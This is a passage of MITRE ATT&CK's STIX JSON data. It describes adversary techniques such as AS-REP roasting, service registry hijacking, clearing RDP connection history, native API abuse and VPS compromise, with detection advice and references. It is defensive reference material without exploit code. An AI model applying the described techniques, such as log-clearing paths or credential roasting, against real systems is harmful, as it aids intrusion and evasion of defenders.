"x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Application Log: Application Log Content", "Sensor Health: Host Status", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858", "created": "2020-02-20T15:31:43.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1499/002", "external_id": "T1499.002"}, {"source_name": "Arbor SSLDoS April 2012", "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.", "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new"}, {"source_name": "Cisco DoSdetectNetflow", "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"}, {"source_name": "Cloudflare HTTPflood", "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.", "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/"}, {"source_name": "Arbor AnnualDoSreport Jan 2018", "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef", "created": "2020-03-11T14:28:40.064Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1195.003", "url": "https://attack.mitre.org/techniques/T1195/003"}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.", "modified": "2022-04-28T16:05:10.755Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Compromise Hardware Supply Chain", "x_mitre_detection": "Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Sensor Health: Host Status"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-13T16:01:07.538Z", "name": "Native API", "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["Gordon Long, Box, Inc., @ethicalhax", "Stefan Kanthak", "Tristan Madani (Cybereason)"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["Process: OS API Execution", "Module: Module Load"], "x_mitre_remote_support": false, "type": "attack-pattern", "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "created": "2017-05-31T21:31:17.472Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1106", "external_id": "T1106"}, {"source_name": "MACOS Cocoa", "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.", "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1"}, {"source_name": "Apple Core Services", "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.", "url": "https://developer.apple.com/documentation/coreservices"}, {"source_name": "macOS Foundation", "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.", "url": "https://developer.apple.com/documentation/foundation"}, {"source_name": "OutFlank System Calls", "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.", "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"}, {"source_name": "Redops Syscalls", "description": "Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.", "url": "https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls"}, {"source_name": "GNU Fork", "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.", "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html"}, {"source_name": "CyberBit System Calls", "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.", "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/"}, {"source_name": "GLIBC", "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.", "url": "https://www.gnu.org/software/libc/"}, {"source_name": "LIBC", "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.", "url": "https://man7.org/linux/man-pages//man7/libc.7.html"}, {"source_name": "Linux Kernel API", "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.", "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html"}, {"source_name": "MDSec System Calls", "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.", "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"}, {"source_name": "Microsoft CreateProcess", "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", "url": "http://msdn.microsoft.com/en-us/library/ms682425"}, {"source_name": "Microsoft Win32", "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.", "url": "https://docs.microsoft.com/en-us/windows/win32/api/"}, {"source_name": "Microsoft NET", "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.", "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework"}, {"source_name": "NT API Windows", "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.", "url": "https://undocumented.ntinternals.net/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-08T18:05:28.311Z", "name": "Clear Network Connection History and Configurations", "description": "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["CrowdStrike Falcon OverWatch"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution", "Firewall: Firewall Rule Modification", "File: File Modification"], "type": "attack-pattern", "id": "attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc", "created": "2022-06-15T18:00:04.219Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1070/007", "external_id": "T1070.007"}, {"source_name": "FreeDesktop Journal", "description": "freedesktop.org. (n.d.). systemd-journald.service. Retrieved June 15, 2022.", "url": "https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html"}, {"source_name": "Microsoft RDP Removal", "description": "Microsoft. (2021, September 24). How to remove entries from the Remote Desktop Connection Computer box. Retrieved June 15, 2022.", "url": "https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer"}, {"source_name": "Moran RDPieces", "description": "Moran, B. (2020, November 18). Putting Together the RDPieces. Retrieved October 17, 2022.", "url": "https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf"}, {"source_name": "Apple Culprit Access", "description": "rjben. (2012, May 30). How do you find the culprit when unauthorized access to a computer is a problem?. Retrieved August 3, 2022.", "url": "https://discussions.apple.com/thread/3991574"}, {"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Yossi Nisani, Cymptom", "James Dunn, @jamdunnDFW, EY", "Swapnil Kumbhar", "Jacques Pluviose, @Jacqueswildy_IT", "Dan Nutting, @KerberToast"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b", "type": "attack-pattern", "created": "2020-08-24T13:43:00.028Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1558.004", "url": "https://attack.mitre.org/techniques/T1558/004"}, {"source_name": "Harmj0y Roasting AS-REPs Jan 2017", "url": "http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/", "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020."}, {"source_name": "Microsoft Kerberos Preauth 2014", "url": "https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx", "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020."}, {"source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019", "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/", "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020."}, {"description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", "source_name": "SANS Attacking Kerberos Nov 2014", "url": "https://redsiege.com/kerberoast-slides"}, {"url": "https://adsecurity.org/?p=2293", "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", "source_name": "AdSecurity Cracking Kerberos Dec 2015"}, {"url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", "source_name": "Microsoft Detecting Kerberoasting Feb 2018"}, {"source_name": "Microsoft 4768 TGT 2017", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768", "description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020."}], "modified": "2021-06-07T19:23:33.039Z", "name": "AS-REP Roasting", "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Active Directory: Active Directory Credential Request"], "x_mitre_permissions_required": ["User"], "x_mitre_system_requirements": ["Valid domain account"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matthew Demaske, Adaptforward", "Travis Smith, Tripwire"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427", "type": "attack-pattern", "created": "2017-05-31T21:30:49.119Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1058", "url": "https://attack.mitre.org/techniques/T1058"}, {"external_id": "CAPEC-478", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/478.html"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx", "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.", "source_name": "MSDN Registry Key Security"}, {"source_name": "TrustedSignal Service Failure", "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html", "description": "Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."}, {"url": "https://twitter.com/r0wdy_/status/936365549553991680", "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.", "source_name": "Twitter Service Recovery Nov 2017"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}], "modified": "2020-03-19T15:12:13.034Z", "name": "Service Registry Permissions Weakness", "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_system_requirements": ["Ability to modify service values in the Registry"], "x_mitre_effective_permissions": ["SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0", "type": "attack-pattern", "created": "2020-10-01T00:55:17.771Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1584.003", "url": "https://attack.mitre.org/techniques/T1584/003"}, {"source_name": "NSA NCSC Turla OilRig", "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf", "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}, {"source_name": "Mandiant SCANdalous Jul 2020", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."}, {"source_name": "Koczwara Beacon Hunting Sep 2021", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."}], "modified": "2021-10-17T15:59:02.770Z", "name": "Virtual Private Server", "description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Internet Scan: Response Content", "Internet Scan: Response Metadata"]}, {"modified": "2024-04-28T15:58:48.119Z", "name": "AutoHotKey & AutoIT", "description": "Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)\n\nAdversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate)\n\nThese scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["TruKno", "Liran Ravich, CardinalOps", "Serhii Melnyk, Trustwave SpiderLabs", "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International", "@_montysecurity"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution"], "x_mitre_remote_support": false, "type": "attack-pattern", "id": "attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5", "created": "2024-03-29T18:07:04.743Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/010", "external_id": "T1059.010"}, {"source_name": "AutoHotKey", "description": "AutoHotkey Foundation LLC. (n.d.). Using the Program. Retrieved March 29, 2024.", "url": "https://www.autohotkey.com/docs/v1/Program.htm"}, {"source_name": "AutoIT", "description": "AutoIT. (n.d.). Running Scripts. Retrieved March 29, 2024.", "url": "https://www.autoitscript.com/autoit3/docs/intro/running.htm"}, {"source_name": "Splunk DarkGate", "description": "Splunk Threat Research Team. (2024, January 17). Enter The Gates: An Analysis of the DarkGate AutoIt Loader. Retrieved March 29, 2024.", "url": "https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8", "type": "attack-pattern", "created": "2020-10-19T19:03:48.310Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1600.001", "url": "https://attack.mitre.org/techniques/T1600/001"}, {"source_name": "Cisco Synful Knock Evolution", "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}, {"source_name": "Cisco Blog Legacy Device Attacks", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}], "modified": "2020-10-21T22:36:22.369Z", "name": "Reduce Key Space", "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength 